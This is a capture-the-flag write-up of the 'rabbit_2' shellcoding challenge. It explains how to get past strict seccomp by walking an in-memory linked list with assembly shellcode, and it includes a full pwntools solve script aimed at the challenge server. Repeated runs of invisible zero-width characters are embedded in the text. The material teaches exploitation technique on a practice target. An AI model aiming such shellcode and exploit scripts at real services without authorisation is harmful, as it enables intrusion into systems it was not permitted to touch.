← Back to Writeups
CUSTOMMediumpwn

pwn4 rabbit_2 (shellcoding)

XESXOR9/2/20265 min read
#pwn#custom#medium#linked_list_walk#rbp_relative_addressing#seccomp_strict_bypass_by_desig#write_exit_only_shellcode

pwn4 rabbit_2 (shellcoding)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: linked_list_walk, rbp_relative_addressing, seccomp_strict_bypass_by_design, write_exit_only_shellcode

Summary

Task: PIE C++ shellcoding challenge that runs attacker shellcode under SECCOMP_MODE_STRICT, with the flag pre-loaded into one of 100 mmap'd linked-list nodes. Solution: rbp-relative shellcode that walks the singly linked list (syscall-free traversal), matches the SPBCTF node, and exfiltrates it with write+exit only — the only syscalls strict seccomp permits.

pwn4 rabbit_2 (shellcoding) — pwn_spbctf

Description

Here is rabbit

Author: Artur Khanov (@awengar). Category Pwn, tier pwn4 "shellcoding". Remote: nc 109.233.56.90 11618. Platform: pwn.spbctf.ru.

This is part 2 of the "rabbit in forest" series. It is identical to rabbit_1 (see writeup 20260618_pwn_spbctf_pwn4_rabbit_1 for the full Hide() / linked-list mechanic) except it adds STRICT SECCOMP before running the shellcode. This writeup focuses only on the seccomp difference; the shared node/linked-list details live in the rabbit_1 writeup. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Goal: run shellcode that finds the flag (already in process memory) and writes it back.

Analysis

What is identical to rabbit_1

main -> f1 @0x1361 (PIE, C++) does:

  1. page = mmap(0, 0x1000, RW), then memset(page, 0xc3, 0x3e8) (fills with ret).
  2. Prints two prompts, then fgets(page, 0x3e8, stdin) reads your shellcode (<= 0x3e7 bytes, newline-free — fgets stops at \n).
  3. head = Hide(100): allocates 100 mmap'd 0x48-byte nodes as a singly linked list. Node layout: node[0] = prev pointer, node[8 .. 0x28) = 32 data bytes. One random node holds the flag string SPBCTF{...} (loaded by getFlag via fread of flag.txt, 0x20 bytes); the rest hold random data. head is saved at f1's [rbp-0x8].
  4. mprotect(page, 0x1000, RX=5) — makes the shellcode page executable.
  5. call page — invokes the shellcode. On entry rax = page and, crucially, rbp is unchanged from f1, so the head pointer is reachable at [rbp-8]. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The one difference: strict seccomp (step between mprotect and call)

prctl(0x16, 1)  ==  prctl(PR_SET_SECCOMP=22, SECCOMP_MODE_STRICT=1)

SECCOMP_MODE_STRICT is the most restrictive seccomp mode. After this call the process may invoke only:

  • read(0)
  • write(1)
  • exit(60) / _exit
  • rt_sigreturn(15)

Any other syscall → immediate SIGKILL. No open, no mmap, no execve, no rt_sigaction, no mprotect.

Two consequences that shape the solution:

  1. No need for open/read of flag.txt. The program already called getFlag, so the flag is already in memory, sitting in one of the linked-list nodes. The shellcode only has to locate and write it — write + exit are both allowed.
  2. You cannot recover from a fault. Installing a SIGSEGV handler needs rt_sigaction, which is forbidden in strict mode. So a blind memory scan (just sweeping address space looking for SPBCTF{) is dangerous: the first unmapped page you touch is an unrecoverable SIGSEGV → kill. The linked-list walk is the correct approach because every node pointer is valid and the traversal needs no syscalls at all — it can never trip seccomp and never faults. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Strategy: rbp-relative head fetch + syscall-free list walk + write/exit exfil.

  1. rbx = [rbp-8] — head node (rbp is still f1's frame after call rax).
  2. Loop: if rbx == 0 stop. Compare the 6 bytes at node+8 against "SPBCTF":
    • cmp dword [rbx+8], 0x43425053 ("SPBC" little-endian)
    • cmp word [rbx+12], 0x4654 ("TF" little-endian)
  3. On match: write(1, node+8, 0x20) then exit(60).
  4. Otherwise rbx = [rbx] (follow prev pointer) and continue.

The walk dereferences only valid node pointers, so it never faults and never issues a forbidden syscall — fully strict-seccomp-safe. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Shellcode (74 bytes, newline-free)

asm
    mov rbx, [rbp-8]              ; rbx = head
loop_node:
    test rbx, rbx
    jz   done
    mov eax, dword ptr [rbx+8]   ; 'S''P''B''C'
    cmp eax, 0x43425053          ; "SPBC" little-endian
    jne next
    movzx eax, word ptr [rbx+12] ; 'T''F'
    cmp eax, 0x4654              ; "TF" little-endian
    je  found
next:
    mov rbx, [rbx]               ; node = prev
    jmp loop_node
found:
    mov rax, 1                   ; write
    mov rdi, 1
    lea rsi, [rbx+8]
    mov rdx, 0x20
    syscall
done:
    mov rax, 60                  ; exit
    xor rdi, rdi
    syscall

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full solve script

python
#!/usr/bin/env python3
import sys, time
from keystone import Ks, KS_ARCH_X86, KS_MODE_64
from pwn import remote, context

context.log_level = 'info'
HOST, PORT = "109.233.56.90", 11618

# rbp at entry == f1's rbp. head = [rbp-8].
# Walk linked list via node = [node] (prev ptr at offset 0).
# Compare 6 bytes at node+8 to "SPBCTF". On match: write(1,node+8,0x20); exit(60).
asm_src = r"""
    mov rbx, [rbp-8]        ; rbx = head
loop_node:
    test rbx, rbx
    jz   done
    mov eax, dword ptr [rbx+8]   ; 'S''P''B''C'
    cmp eax, 0x43425053          ; "SPBC" little-endian
    jne next
    movzx eax, word ptr [rbx+12] ; 'T''F'
    cmp eax, 0x4654              ; "TF" little-endian
    je  found
next:
    mov rbx, [rbx]         ; node = prev
    jmp loop_node
found:
    mov rax, 1            ; write
    mov rdi, 1
    lea rsi, [rbx+8]
    mov rdx, 0x20
    syscall
done:
    mov rax, 60          ; exit
    xor rdi, rdi
    syscall
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def strip_comments(src):
    # keystone-engine on arm64 does NOT support ';' comments -> strip them
    out = []
    for ln in src.splitlines():
        if ';' in ln:
            ln = ln[:ln.index(';')]
        out.append(ln)
    return "\n".join(out)

ks = Ks(KS_ARCH_X86, KS_MODE_64)
code, _ = ks.asm(strip_comments(asm_src))
sc = bytes(code)

assert b'\n' not in sc, "shellcode contains newline byte 0x0a"
print(f"[*] shellcode len = {len(sc)}, no newline")

def attempt():
    io = remote(HOST, PORT)
    io.recvuntil(b"\n", timeout=10)   # first prompt
    io.sendline(sc)                   # fgets stops at newline
    data = io.recvall(timeout=10)
    io.close()
    return data
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

for _ in range(10):
    data = attempt()
    if b"SPBCTF{" in data:
        idx = data.index(b"SPBCTF{")
        end = data.index(b"}", idx)
        print("[+] FLAG:", data[idx:end+1].decode())
        sys.exit(0)
    time.sleep(35)

Worked on the first attempt. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍